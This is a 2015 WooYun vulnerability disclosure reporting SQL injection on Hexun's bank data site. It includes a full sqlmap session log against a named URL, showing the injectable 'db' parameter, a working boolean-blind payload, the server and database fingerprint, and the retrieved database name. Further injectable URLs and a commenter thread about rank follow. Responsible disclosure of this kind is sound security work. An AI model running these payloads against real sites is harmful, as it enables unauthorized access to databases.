和讯网某重要站点多处sql注入

编号91974
Urlhttp://www.wooyun.org/bug.php?action=view&id=91974
漏洞状态厂商已经确认
漏洞标题和讯网某重要站点多处sql注入
漏洞类型SQL注射漏洞
厂商和讯网
白帽子#6c6c6c
提交日期2015-01-15 09:49:00
公开日期2015-03-01 09:50:00
修复时间(not set)
确认时间2015-01-15 00:00:00
Confirm Spend0
漏洞标签sql
关注数0
收藏数0
白帽评级
白帽自评rank12
厂商评级
厂商评rank15
漏洞简介
sql
漏洞细节

注入地址:http://data.bank.hexun.com/card/xykcs/csdb.aspx?db=pro208
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 04:57:04
[04:57:04] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\data.bank.
hexun.com\session' as session file
[04:57:04] [INFO] testing connection to the target url
[04:57:05] [INFO] testing if the url is stable, wait a few seconds
[04:57:06] [INFO] url is stable
[04:57:06] [INFO] testing if GET parameter 'db' is dynamic
[04:57:06] [INFO] confirming that GET parameter 'db' is dynamic
[04:57:07] [INFO] GET parameter 'db' is dynamic
[04:57:07] [WARNING] heuristic test shows that GET parameter 'db' might not be i
njectable
[04:57:07] [INFO] testing sql injection on GET parameter 'db'
[04:57:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:57:08] [INFO] GET parameter 'db' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[04:57:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[04:57:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:57:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[04:57:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[04:57:09] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:57:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[04:57:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[04:57:10] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[04:57:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[04:57:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[04:57:11] [INFO] testing 'Oracle AND time-based blind'
[04:57:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[04:57:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[04:57:15] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[04:57:16] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[04:57:19] [INFO] target url appears to have 24 columns in query
[04:57:33] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[04:57:33] [INFO] checking if the injection point on GET parameter 'db' is a fal
se positive
GET parameter 'db' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 85 HTTP(s) requ
ests:
---
Place: GET
Parameter: db
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: db=pro208) AND 1281=1281 AND (5074=5074
---
[04:57:44] [INFO] testing MySQL
[04:57:45] [WARNING] the back-end DBMS is not MySQL
[04:57:45] [INFO] testing Oracle
[04:57:45] [WARNING] the back-end DBMS is not Oracle
[04:57:45] [INFO] testing PostgreSQL
[04:57:45] [WARNING] the back-end DBMS is not PostgreSQL
[04:57:45] [INFO] testing Microsoft SQL Server
[04:57:46] [INFO] confirming Microsoft SQL Server
[04:57:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2005
[04:57:47] [INFO] fetching database names
[04:57:47] [INFO] fetching number of databases
[04:57:47] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[04:57:47] [INFO] retrieved:
[04:57:48] [ERROR] unable to retrieve the number of databases
[04:57:48] [INFO] falling back to current database
[04:57:48] [INFO] fetching current database
[04:57:48] [INFO] retrieved: DB_WEB
available databases [1]:
[*] DB_WEB
[04:58:09] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\data.bank.hexun.com'
[*] shutting down at 04:58:09


信用卡什么的

http://data.bank.hexun.com/card/xykcenter.aspx?no=1 存在注入
http://data.bank.hexun.com/lccp/Jrxp.aspx?col=
http://data.bank.hexun.com/yhdg/yhdgdb.aspx?db=proc2,proc3 注入

POC

修复方案

状态信息 2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-15: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向核心白帽子及相关领域专家公开
2015-02-04: 细节向普通白帽子公开
2015-02-14: 细节向实习白帽子公开
2015-03-01: 细节向公众公开
厂商回复处理中
回应信息危害等级:高漏洞Rank:15 确认时间:2015-01-15 09:50
Showing 1-7 of 7 items.
评论内容评论人点赞数评论时间

@浩天 谢谢了。

#6c6c6c02015-01-15 18:49:00

@#6c6c6c 不要着急,脚本跑的时候就正常了

浩天02015-01-15 18:47:00

@浩天 wb倒无所谓,我要rank

#6c6c6c02015-01-15 18:39:00

@浩天 厂商已经确定了....rank还能补不?

#6c6c6c02015-01-15 18:38:00

@浩天 3Q啊

#6c6c6c02015-01-15 18:38:00

已改显示状态

浩天02015-01-15 18:35:00

@疯狗 @浩天 我怎么感觉随意的审核呢?这个漏洞以前别人提交过得,人家可以上前台,为啥我不可以?你看看厂商的态度

#6c6c6c02015-01-15 17:37:00